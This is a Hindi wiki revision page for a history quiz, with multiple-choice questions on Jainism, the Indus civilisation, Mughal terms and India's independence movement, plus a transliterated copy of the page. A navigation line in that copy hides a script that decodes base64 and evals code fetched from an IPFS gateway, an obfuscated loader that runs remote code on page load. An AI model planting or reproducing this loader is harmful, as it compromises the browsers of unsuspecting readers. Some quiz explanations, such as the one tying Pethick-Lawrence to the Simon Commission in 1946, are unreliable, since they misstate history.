Difference between revisions of "इतिहास सामान्य ज्ञान 54"

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{अनेकान्तवाद निम्नलिखित में से किसका क्रोड सिद्धांत एवं [[दर्शन]] है?
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{[[अनेकांतवाद]] निम्नलिखित में से किसका क्रोड सिद्धांत एवं [[दर्शन]] है?
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-[[बौद्ध]]
 
-[[बौद्ध]]
 
+[[जैन]]
 
+[[जैन]]
 
-[[सिक्ख]]
 
-[[सिक्ख]]
 
-[[वैष्णव]]
 
-[[वैष्णव]]
||[[चित्र:Gomateswara.jpg|right|80px|गोमतेश्वर की प्रतिमा, श्रवणबेलगोला]]'जैन धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन]] है। 'जैन' उन्हें कहते हैं, जो 'जिन' के अनुयायी हों। जैन धर्म अर्थात 'जिन' भगवान् का धर्म। वस्त्र-हीन बदन, शुद्ध शाकाहारी भोजन और निर्मल वाणी एक जैन अनुयायी की पहली पहचान होती है। यहाँ तक कि [[जैन धर्म]] के अन्य लोग भी शुद्ध शाकाहारी होते हैं तथा अपने धर्म के प्रति बड़े सचेत रहते हैं। '[[स्यादवाद]]' या 'अनेकांतवाद' या 'सप्तभंगी' का सिद्धान्त इस धर्म के प्रमुख सिद्धांतों में से एक है।{{point}}अधिक जानकारी के लिए देखें:-[[जैन धर्म]]
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||[[चित्र:Gomateswara.jpg|right|80px|गोमतेश्वर की प्रतिमा, श्रवणबेलगोला]] 'जैन धर्म' [[भारत]] की श्रमण परम्परा से निकला [[धर्म]] और [[दर्शन]] है। 'जैन' उन्हें कहते हैं, जो 'जिन' के अनुयायी हों। जैन धर्म अर्थात् 'जिन' भगवान् का धर्म। वस्त्र-हीन बदन, शुद्ध शाकाहारी भोजन और निर्मल वाणी एक जैन अनुयायी की पहली पहचान होती है। यहाँ तक कि [[जैन धर्म]] के अन्य लोग भी शुद्ध शाकाहारी होते हैं तथा अपने धर्म के प्रति बड़े सचेत रहते हैं। '[[स्यादवाद]]' या '[[अनेकांतवाद]]' या 'सप्तभंगी' का सिद्धान्त इस धर्म के प्रमुख सिद्धांतों में से एक है। अधिक जानकारी के लिए देखें :- [[जैन धर्म]]
  
 
{[[सिन्धु सभ्यता]] से सम्बद्ध किन स्थलों से [[चावल]] की खेती के प्रमाण मिले हैं?
 
{[[सिन्धु सभ्यता]] से सम्बद्ध किन स्थलों से [[चावल]] की खेती के प्रमाण मिले हैं?
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-[[कालीबंगा]] और [[रोजदी (गुजरात)|रोजदी]]
 
-[[कालीबंगा]] और [[रोजदी (गुजरात)|रोजदी]]
 
-इनमें से कोई नहीं
 
-इनमें से कोई नहीं
||[[चित्र:Lothal-1.jpg|right|120px|लोथल के अवशेष]]'लोथल' [[गुजरात]] के [[अहमदाबाद ज़िला|अहमदाबाद ज़िले]] में भोगावा नदी के किनारे 'सरगवाला' नामक ग्राम के समीप स्थित है। यहाँ की खुदाई वर्ष [[1954]]-[[1955]] ई. में रंगनाथ राव के नेतृत्व में की गई थी। [[लोथल]] में दो भिन्न-भिन्न टीले नहीं मिले हैं, बल्कि पूरी बस्ती एक ही दीवार से घिरी थी। यह छः खण्डों में विभक्त था। लोथल में गढ़ी और नगर दोनों एक ही रक्षा प्राचीर से घिरे हुए थे। यहाँ से अन्य अवशेषों में [[चावल]], [[फ़ारस]] की मुहरों एवं घोड़ों की लघु मृण्मूर्तियों के [[अवशेष]] प्राप्त हुए हैं।{{point}}अधिक जानकारी के लिए देखें:-[[लोथल]], [[रंगपुर (गुजरात)|रंगपुर]]
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||[[चित्र:Lothal-1.jpg|right|120px|लोथल के अवशेष]]'लोथल' [[गुजरात]] के [[अहमदाबाद ज़िला|अहमदाबाद ज़िले]] में भोगावा नदी के किनारे 'सरगवाला' नामक ग्राम के समीप स्थित है। यहाँ की खुदाई वर्ष [[1954]]-[[1955]] ई. में रंगनाथ राव के नेतृत्व में की गई थी। [[लोथल]] में दो भिन्न-भिन्न टीले नहीं मिले हैं, बल्कि पूरी बस्ती एक ही दीवार से घिरी थी। यह छह खण्डों में विभक्त था। लोथल में गढ़ी और नगर दोनों एक ही रक्षा प्राचीर से घिरे हुए थे। यहाँ से अन्य अवशेषों में [[चावल]], [[फ़ारस]] की मुहरों एवं घोड़ों की लघु मृण्मूर्तियों के [[अवशेष]] प्राप्त हुए हैं। अधिक जानकारी के लिए देखें :- [[लोथल]], [[रंगपुर (गुजरात)|रंगपुर]]
  
 
{'[[व्यक्तिगत सत्याग्रह]]' में [[विनोबा भावे]] को प्रथम सत्याग्रही चुना गया था। दूसरा सत्याग्रही कौन था?
 
{'[[व्यक्तिगत सत्याग्रह]]' में [[विनोबा भावे]] को प्रथम सत्याग्रही चुना गया था। दूसरा सत्याग्रही कौन था?
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-[[सी. राजगोपालाचारी]]
 
-[[सी. राजगोपालाचारी]]
 
-[[सरदार वल्लभभाई पटेल]]
 
-[[सरदार वल्लभभाई पटेल]]
||[[चित्र:Jawaharlal-Nehru-And-Mahatma-Gandhi.jpg|right|100px|[[गाँधीजी]] तथा [[जवाहरलाल नेहरू]]]]पंडित जवाहरलाल नेहरू संसदीय सरकार की स्थापना और विदेशी मामलों में 'गुटनिरपेक्ष' नीतियों के लिए विख्यात हुए थे। [[1930]] और [[1940]] के दशक में [[भारत]] के स्वतंत्रता आंदोलन के प्रमुख नेताओं में से वे एक थे। [[जवाहरलाल नेहरू]] पहले राष्ट्राध्यक्ष थे, जिन्होंने [[1963]] ई. में [[रूस]], [[इंग्लैण्ड]] तथा [[अमेरिका]] के बीच आंशिक परमाणविक परीक्षण-निषेध संधि पर हस्ताक्षर किये जाने का स्वागत किया था। [[लोकसभा]] के कुछ उपचुनावों में कांग्रेसी उम्मीदवारों की विफलता के कारण [[कांग्रेस]] ने उन्हें सुझाव दिया कि वे अपने मंत्रिमंडल का पुनर्गठन करें, ताकि कांग्रेस के कुछ गण्यमान्य नेता दल को पुनर्गठित करने में अपना पूर्ण समय दे सकें।{{point}}अधिक जानकारी के लिए देखें:-[[पंडित जवाहरलाल नेहरू]]
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||[[चित्र:Jawaharlal-Nehru-And-Mahatma-Gandhi.jpg|right|100px|[[गाँधीजी]] तथा [[जवाहरलाल नेहरू]]]]पंडित जवाहरलाल नेहरू संसदीय सरकार की स्थापना और विदेशी मामलों में 'गुटनिरपेक्ष' नीतियों के लिए विख्यात हुए थे। [[1930]] और [[1940]] के दशक में [[भारत]] के स्वतंत्रता आंदोलन के प्रमुख नेताओं में से वे एक थे। [[जवाहरलाल नेहरू]] पहले राष्ट्राध्यक्ष थे, जिन्होंने [[1963]] ई. में [[रूस]], [[इंग्लैण्ड]] तथा [[अमेरिका]] के बीच आंशिक परमाणविक परीक्षण-निषेध संधि पर हस्ताक्षर किये जाने का स्वागत किया था। [[लोकसभा]] के कुछ उपचुनावों में कांग्रेसी उम्मीदवारों की विफलता के कारण [[कांग्रेस]] ने उन्हें सुझाव दिया कि वे अपने मंत्रिमंडल का पुनर्गठन करें, ताकि कांग्रेस के कुछ गण्यमान्य नेता दल को पुनर्गठित करने में अपना पूर्ण समय दे सकें। अधिक जानकारी के लिए देखें :- [[पंडित जवाहरलाल नेहरू]]
  
 
{निम्नलिखित में से कौन सा युग्म सही सुमेलित नहीं है?
 
{निम्नलिखित में से कौन सा युग्म सही सुमेलित नहीं है?
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-[[खालसा]] - [[मुग़ल]] सम्राट के सीधे प्रशासनिक अधिकार में आने वाली भूमि।
 
-[[खालसा]] - [[मुग़ल]] सम्राट के सीधे प्रशासनिक अधिकार में आने वाली भूमि।
 
-इजारा - राजस्व नियत कार्य की एक अनुबंधात्मक पद्धति।
 
-इजारा - राजस्व नियत कार्य की एक अनुबंधात्मक पद्धति।
||[[चित्र:Akbar.jpg|right|80px|बादशाह अकबर]]'मनसब' [[मुग़लकालीन शासन व्यवस्था|मुग़ल शासन काल]] में [[अकबर|बादशाह अकबर]] के समय दिया जाने वाला एक 'पद' या 'ओहदा' होता था। राज्य के अधिकारियों तथा कर्मचारियों को उनके [[मनसब]] के अनुसार ही वेतन दिया जाता था। मनसब प्रणाली [[मुग़ल साम्राज्य]] की रीढ़ समझी जाती थी। जिस व्यक्ति को मनसब दिया जाता था, उसे '[[मनसबदार]]' कहते थे। अकबर ने कुछ [[राजपूत]] राजाओं, जैसे- [[भगवान दास]], [[राजा मानसिंह]], [[बीरबल]] एवं [[टोडरमल]] को उच्च मनसब प्रदान किया था।{{point}}अधिक जानकारी के लिए देखें:-[[मनसब]]
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||[[चित्र:Akbar.jpg|right|80px|बादशाह अकबर]]'मनसब' [[मुग़लकालीन शासन व्यवस्था|मुग़ल शासन काल]] में [[अकबर|बादशाह अकबर]] के समय दिया जाने वाला एक 'पद' या 'ओहदा' होता था। राज्य के अधिकारियों तथा कर्मचारियों को उनके [[मनसब]] के अनुसार ही वेतन दिया जाता था। मनसब प्रणाली [[मुग़ल साम्राज्य]] की रीढ़ समझी जाती थी। जिस व्यक्ति को मनसब दिया जाता था, उसे '[[मनसबदार]]' कहते थे। अकबर ने कुछ [[राजपूत]] राजाओं, जैसे- भगवान दास, [[राजा मानसिंह]], [[बीरबल]] एवं [[टोडरमल]] को उच्च मनसब प्रदान किया था। अधिक जानकारी के लिए देखें:-[[मनसब]]
  
 
{निम्नलिखित में से कौन '[[काकोरी काण्ड]]' से संबंधित नहीं था?
 
{निम्नलिखित में से कौन '[[काकोरी काण्ड]]' से संबंधित नहीं था?
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-[[अशफ़ाक़ उल्ला ख़ाँ]]
 
-[[अशफ़ाक़ उल्ला ख़ाँ]]
 
+[[मास्टर सूर्य सेन]]
 
+[[मास्टर सूर्य सेन]]
||[[चित्र:Master-Surya-Sen.jpg|right|100px|मास्टर सूर्य सेन]] [[भारत]] की स्वतंत्रता के लिए संघर्ष करने वाले प्रसिद्ध क्रांतिकारियों और अमर शहीदों में गिने जाते हैं। "चटगाँव आर्मरी रेड" के नायक [[मास्टर सूर्य सेन]] ने [[अंग्रेज़]] सरकार को सीधे चुनोती दी थी। अपनी क्रांतिकारी गतिविधियों के अंतर्गत उन्हें पहली सफलता तब मिली थी, जब उन्होंने दिन-दहाड़े [[23 दिसम्बर]], [[1923]] को [[चटगाँव]] में [[आसाम]]-[[बंगाल]] रेलवे के ट्रेजरी ऑफिस को लूटा। किन्तु उन्हें सबसे बड़ी सफलता 'चटगाँव आर्मरी रेड' के रूप में मिली, जिसने अंग्रेज़ सरकार को झकझोर कर रख दिया। यह सरकार को खुला सन्देश था की भारतीय युवा मन अब अपने प्राण देकर भी दासता की बेड़ियों को तोड़ देना चाहता है।{{point}}अधिक जानकारी के लिए देखें:-[[मास्टर सूर्य सेन]]
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||[[चित्र:Master-Surya-Sen.jpg|right|100px|मास्टर सूर्य सेन]]मास्टर सूर्य सेन [[भारत]] की स्वतंत्रता के लिए संघर्ष करने वाले प्रसिद्ध क्रांतिकारियों और अमर शहीदों में गिने जाते हैं। "चटगाँव आर्मरी रेड" के मुख्य नायक [[मास्टर सूर्य सेन]] ने [[अंग्रेज़]] सरकार को सीधे चुनौती दी थी। अपनी क्रांतिकारी गतिविधियों के अंतर्गत उन्हें पहली सफलता तब मिली, जब उन्होंने दिन-दहाड़े [[23 दिसम्बर]], [[1923]] को [[चटगाँव]] में [[आसाम]]-[[बंगाल]] रेलवे के ट्रेजरी ऑफिस को लूटा। लेकिन उनको सबसे बड़ी सफलता 'चटगाँव आर्मरी रेड' के रूप में मिली थी, जिसने अंग्रेज़ सरकार को झकझोर कर रख दिया। यह सरकार को खुला सन्देश था कि भारतीय युवा मन अब अपने प्राण देकर भी दासता की बेड़ियों को तोड़ देना चाहता है। अधिक जानकारी के लिए देखें :- [[मास्टर सूर्य सेन]]
 
 
{'[[कटारमल सूर्य मन्दिर]]' कहाँ पर अवस्थित है?
 
|type="()"}
 
-[[नैनीताल]]
 
+[[अल्मोड़ा]]
 
-[[कर्णप्रयाग]]
 
-[[देवलगढ़]]
 
||[[चित्र:Katarmal-Sun-Temple-Almora-Uttarakhand.jpg|right|100px|कटारमल सूर्य मन्दिर]]'कटारमल सूर्य मन्दिर' [[उत्तराखण्ड]] में [[अल्मोड़ा]] के [[कटारमल]] नामक स्थान पर स्थित है। इस कारण इसे '[[कटारमल सूर्य मन्दिर]]' कहा जाता है। यह सूर्य मन्दिर न सिर्फ़ समूचे [[कुमाऊँ मंडल]] का सबसे विशाल, ऊँचा और अनूठा मन्दिर है, बल्कि [[उड़ीसा]] के '[[कोणार्क सूर्य मन्दिर]]' के बाद एकमात्र प्राचीन सूर्य मन्दिर भी है। इस सूर्य मंदिर का [[इतिहास]] बहुत पुराना है। '[[भारतीय पुरातत्त्व विभाग]]' द्वारा इस मन्दिर को संरक्षित स्मारक घोषित किया जा चुका है।{{point}}अधिक जानकारी के लिए देखें:-[[अल्मोड़ा]]
 
 
 
{निम्नलिखित में से किस सुल्तान ने ख़लीफ़ा से 'खिलअत' प्राप्त किया?
 
|type="()"}
 
-[[क़ुतुबुद्दीन ऐबक|क़ुतुबुद्दीन]]
 
+[[इल्तुतमिश]]
 
-[[रज़िया सुल्तान]]
 
-[[ग़यासुद्दीन तुग़लक़]]
 
||[[चित्र:Iltutmish-Tomb-Qutab-Minar.jpg|right|100px|इल्तुतमिश का मक़बरा, क़ुतुब मीनार, दिल्ली]]इल्तुतमिश एक इल्बारी तुर्क था। खोखरों के विरुद्ध उसकी कार्य कुशलता से प्रभावित होकर [[मुहम्मद ग़ोरी]] ने उसे '''अमीर-उल-उमरा''' नामक महत्त्वपूर्ण पद प्रदान किया था। क्योंकि अकस्मात् मुत्यु के कारण [[कुतुबद्दीन ऐबक]] किसी उत्तराधिकारी का चुनाव नहीं कर सका था। अतः [[लाहौर]] के तुर्क अधिकारियों ने ऐबक के विवादित पुत्र [[आरामशाह]] को लाहौर की गद्दी पर बैठाया। परन्तु [[दिल्ली]] के तुर्की सरदारों एवं नागरिकों के विरोध के फलस्वरूप कुतुबद्दीन ऐबक के दामाद [[इल्तुतमिश]] को दिल्ली आमंत्रित कर राज्य सिंहासन पर बैठाया गया। [[फ़रवरी]], 1229 में [[बग़दाद]] के ख़लीफ़ा से इल्तुतमिश को सम्मान में ‘खिलअत’ एवं प्रमाणपत्र प्राप्त हुआ।{{point}}अधिक जानकारी के लिए देखें:-[[इल्तुतमिश]]
 
 
 
{'मेरी मान्यता है कि कोई भी राष्ट्र [[धर्म]] के बिना वास्तविक प्रगति नहीं कर सकता।' यह कथन किसका है?
 
|type="()"}
 
-[[स्वामी विवेकानन्द]]
 
-[[वी. डी. सावरकर]]
 
+[[महात्मा गांधी]]
 
-[[सुभाषचन्द्र बोस]]
 
||[[चित्र:Statue-of-Gandhiji-2.jpg|right|100px|लंदन स्थित गाँधीजी की प्रतिमा]]महात्मा गाँधी को ब्रिटिश शासन के ख़िलाफ़ '[[भारतीय राष्ट्रीय आन्दोलन]]' का नेता और 'राष्ट्रपिता' माना जाता है। वर्ष [[1942]] के ग्रीष्म में [[महात्मा गाँधी]] ने [[अंग्रेज़|अंग्रेज़ों]] से तत्काल भारत छोड़ने की माँग की। फ़ाँसीवादी शक्तियों, विशेषकर [[जापान]] के ख़िलाफ़ युद्ध महत्त्वपूर्ण चरण में था। अंग्रेज़ों ने तुरन्त ही प्रतिक्रिया दिखाई और [[कांग्रेस]] के समूचे नेतृत्व को गिरफ़्तार कर लिया तथा पार्टी को हमेशा के लिए कुचल देने का प्रयास किया। इसके फलस्वरूप हिंसा भड़क उठी, जिसे सख़्ती से दबा दिया गया। [[भारत]] और ब्रिटेन के बीच की दूरी पहले से भी कहीं अधिक बढ़ गई।{{point}}अधिक जानकारी के लिए देखें:-[[महात्मा गांधी]]
 
 
 
{निम्नलिखित में से कौन-सा [[फ़ारसी भाषा|फ़ारसी]] ग्रंथ सुजान राय भंडारी द्वारा लिखा गया था?
 
|type="()"}
 
-इबरतनामा
 
-खुलासत-उत-तवारीख
 
-शाहजहाँनामा
 
+मुन्तखब-उत-तवारीख
 
 
 
{निम्नलिखित में से कौन सा युग्म सही सुमेलित है?
 
|type="()"}
 
-[[बक्सर का युद्ध]] - [[मीर ज़ाफ़र]] विरुद्ध [[रॉबर्ट क्लाइव]]
 
+[[वाडीवाश का युद्ध]] - [[फ़्राँसीसी]] विरुद्ध [[ईस्ट इंडिया कंपनी]]
 
-चिलियाँवाला का युद्ध - [[लॉर्ड डलहौजी|डलहौजी]] विरुद्ध [[मराठा|मराठे]]
 
-खर्दा का युद्ध - निज़ाम विरुद्ध [[ईस्ट इंडिया कंपनी]]
 
||'वाडीवाश का युद्ध' वर्ष 1760 में [[अंग्रेज़|अंग्रेज़ों]] और [[फ़्राँसीसी|फ़्राँसीसियों]] के मध्य लड़ा गया था। युद्ध में फ़्राँसीसियों की हार हुई और उन्हें [[पाण्डिचेरी]] अंग्रेज़ों को सौंपना पड़ा। इस विजय के साथ ही अंग्रेज़ों ने [[भारत]] में फ्राँसीसियों की राजनीतिक शक्ति पूरी तरह से समाप्त कर दी। इसके बाद 1763 ई. में सम्पन्न हुई 'पेरिस सन्धि' के द्वारा अंग्रेज़ों ने [[चन्द्रनगर]] को छोड़कर शेष अन्य प्रदेश, जो फ़्राँसीसियों के अधिकार में 1749 ई. तक थे, वापस कर दिये और ये क्षेत्र भारत के स्वतंत्र होने तक इनके पास बने रहे।{{point}}अधिक जानकारी के लिए देखें:-[[वाडीवाश का युद्ध]]
 
 
 
{[[लॉर्ड पेथिक लॉरेंस]] के कार्यकाल में पारित 'पंजाब टेनेन्सी एक्ट' का प्रमुख उद्देश्य क्या था?
 
|type="()"}
 
+कृषकों के दखल अधिकारों की सुरक्षा।
 
-सरकार की राजस्व वसूली को बढ़ाना।
 
-भू-स्वामियों का दमन।
 
-भू-स्वामियों की वफादारी हासिल करना।
 
||[[चित्र:Lord Pethick Lawrence.jpg|right|80px|पेथिक लॉरेंस और गाँधीजी]]लॉर्ड पेथिक लॉरेंस [[भारत]] में आने वाले [[अंग्रेज़]] '[[साइमन कमीशन]]' का एक सदस्य और उसका अध्यक्ष था। 'साइमन कमीशन' भारत में [[22 जनवरी]], [[1946]] ई. को आया था। [[लॉर्ड पेथिक लॉरेंस]] भारत को स्वाधीनता प्रदान किये जाने का पक्षधर था। उसने अपना यह कथन भी दिया कि "भारत में [[महात्मा गाँधी]] से अच्छा [[अंग्रेज़ी]] का लेखक कोई दूसरा नहीं है।" पेथिक लॉरेंस भारत की संवैधानिक सुधारों की मांग का प्रबल समर्थक था।{{point}}अधिक जानकारी के लिए देखें:-[[पेथिक लॉरेंस]]
 
 
 
{निम्नलिखित में से किस एक [[राजपूत|राजपूत राजवंश]] द्वारा अपना उद्गम मिथकीय '[[अग्निकुल]]' से नहीं जोड़ा गया?
 
|type="()"}
 
-परिहार
 
-[[चौहान वंश|चौहान]]
 
+[[चन्देल वंश|चन्देल]]
 
-[[सोलंकी वंश|सोलंकी]]
 
||'चन्देल वंश' [[गोंड|गोंड जनजातीय]] मूल का [[राजपूत साम्राज्य|राजपूत वंश]] था, जिसने उत्तर-मध्य [[भारत]] के [[बुंदेलखंड]] पर कुछ शताब्दियों तक शासन किया था। [[प्रतिहार साम्राज्य|प्रतिहारों]] के पतन के साथ ही [[चन्देल वंश|चन्देल]] नौवीं शताब्दी में सत्ता में आए। उनका साम्राज्य उत्तर में [[यमुना नदी]] से लेकर [[सागर ज़िला|सागर]], [[मध्य प्रदेश]] तक और [[धसान नदी]] से [[विंध्य पर्वतमाला|विंध्य पर्वतमालाओं]] तक फैला हुआ था। सुप्रसिद्ध [[कालिंजर|कालिंजर का क़िला]], [[खजुराहो]], [[महोबा]] और [[अजयगढ़]] उनके प्रमुख गढ़ थे।{{point}}अधिक जानकारी के लिए देखें:-[[चन्देल वंश|चन्देल]]
 
 
 
{निम्नलिखित में से किसमें विख्यात '[[गायत्री मंत्र]]' अंतर्विष्ट है?
 
|type="()"}
 
+[[ऋग्वेद]]
 
-[[यजुर्वेद]]
 
-[[अथर्ववेद]]
 
-[[सामवेद]]
 
||[[चित्र:Rigveda.jpg|right|90px|ऋग्वेद]]ऋग्वेद के [[मंत्र|मंत्रों]] का उच्चारण [[यज्ञ|यज्ञों]] के अवसर पर 'होतृ ऋषियों' द्वारा किया जाता था। [[ऋग्वेद]] की अनेक संहिताओं में 'संप्रति संहिता' ही उपलब्ध है। इस [[वेद]] के कुल मंत्रों की संख्या लगभग 10600 है। बाद में जोड़ गये दशममंडल, जिसे 'पुरुषसूक्त' के नाम से जाना जाता है, में सर्वप्रथम [[शूद्र|शूद्रों]] का उल्लेख मिलता है। [[सोम देव|सोम]] का उल्लेख नवें मण्डल में है। लोकप्रिय '[[गायत्री मंत्र]]' का उल्लेख भी ऋग्वेद के 7वें मण्डल में किया गया है। इस मण्डल के रचयिता [[वसिष्ठ]] थे। यह मण्डल [[वरुण देवता]] को समर्पित है।{{point}}अधिक जानकारी के लिए देखें:-[[ऋग्वेद]]
 
 
 
{निम्नलिखित में से कौन-सा एक युग्म सही सुमेलित नहीं है?
 
|type="()"}
 
-मालती - माधव नाटक
 
-[[पंचतंत्र]] - दंतकथा
 
+[[मालविकाग्निमित्रम्]] - जीवनचरित
 
-पंचसिद्धान्तिक - खगोलशास्त्र
 
||[[चित्र:Poet-Kalidasa.jpg|right|80px|महाकवि कालिदास]]'मालविकाग्निमित्रम्' चौथी शताब्दी के उत्तरार्द्ध एवं पांचवी शताब्दी के पूर्वार्द्ध में [[महाकवि कालिदास]] द्वारा लिखा गया था। कालिदास द्वारा रचित इस [[संस्कृत]] ग्रंथ से [[पुष्यमित्र शुंग]] एवं उसके पुत्र [[अग्निमित्र]] के समय के राजनीतिक घटनाचक्र तथा [[शुंग वंश|शुंग]] एवं [[यवन]] संघर्ष का उल्लेख मिलता है। यह श्रृंगार रस प्रधान पाँच अंकों का नाटक है। यह कालिदास की प्रथम नाट्य कृति है; इसलिए इसमें वह लालित्य, माधुर्य एवं भावगाम्भीर्य दृष्टिगोचर नहीं होता, जो '[[विक्रमोर्वशीय]]' अथवा '[[अभिज्ञानशाकुन्तलम]]' में है।{{point}}अधिक जानकारी के लिए देखें:-[[मालविकाग्निमित्रम्]]
 
 
 
{'[[भारतीय स्वतंत्रता संग्राम|स्वतंत्रता संग्राम]]' के दौरान [[अरुणा असिफ़ अली]] किस भूमिगत क्रियाकलाप की प्रमुख महिला संगठक थीं?
 
|type="()"}
 
-[[सविनय अवज्ञा आंदोलन]]
 
-[[असहयोग आंदोलन]]
 
+[[भारत छोड़ो आंदोलन]]
 
-[[स्वदेशी आंदोलन]]
 
||[[चित्र:Aruna-Asaf-Ali.jpg|right|100px|अरुणा असिफ़ अली]]'भारत छोड़ो आन्दोलन' [[9 अगस्त]], [[1942]] को राष्ट्रपिता [[महात्मा गाँधी]] के आह्वान पर प्रारम्भ हुआ था। '[[भारत छोड़ो आन्दोलन]]' के समय कई स्थानों पर अस्थायी सरकारों की स्थापना की गयी थी। [[बंगाल (आज़ादी से पूर्व)|बंगाल]] के [[मिदनापुर ज़िला|मिदनापुर ज़िले]] के [[तामलुक]] में गठिन राष्ट्रीय सरकार [[1944]] ई. तक चलती रही। यहाँ की सरकार को जातीय सरकार के नाम से जाना जाता है। सतीश सावंत के नेतृत्व में गठित इस जातीय सरकार ने स्कूलों को अनुदान दिये और 'सशस्त्र विद्युत वाहिनी सैन्य संगठन' बनाया। इस आन्दोलन से सर्वाधिक प्रभावित क्षेत्र थे- [[बंगाल]], [[बिहार]], [[उत्तर प्रदेश]], [[मद्रास]] एवं [[बम्बई]]। [[जयप्रकाश नारायण]], [[राममनोहर लोहिया]] एवं [[अरुणा असिफ़ अली]] जैसे नेताओं ने भूमिगत रहकर इस आन्दोलन को नेतृत्व प्रदान किया।{{point}}अधिक जानकारी के लिए देखें:-[[भारत छोड़ो आंदोलन]]
 
 
</quiz>
 
</quiz>
 
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{{Review-G}}

Latest revision as of 09:42, 4 June 2023

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 anekaantavad nimnalikhit mean se kisaka krod siddhaant evan darshan hai?

bauddh
jain
sikkh
vaishnav

2 sindhu sabhyata se sambaddh kin sthaloan se chaval ki kheti ke praman mile haian?

mohanajod do aur h dappa
lothal aur rangapur
kalibanga aur rojadi
inamean se koee nahian

3 'vyaktigat satyagrah' mean vinoba bhave ko pratham satyagrahi chuna gaya tha. doosara satyagrahi kaun tha?

d aau. rajendr prasad
pandit javaharalal neharoo
si. rajagopalachari
saradar vallabhabhaee patel

4 nimnalikhit mean se kaun sa yugm sahi sumelit nahian hai?

ikta - nagarik evan sainy seva ke lie diya jane vala rajasv niyat kary.
manasab - saltanat prashasan mean amiroan ki adhikarik sthiti.
khalasa - mugal samrat ke sidhe prashasanik adhikar mean ane vali bhoomi.
ijara - rajasv niyat kary ki ek anubandhatmak paddhati.

5 nimnalikhit mean se kaun 'kakori kand' se sanbandhit nahian tha?

ramaprasad bismil
chandrashekhar azad
ashafaq ulla khaan
mastar soory sen

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan


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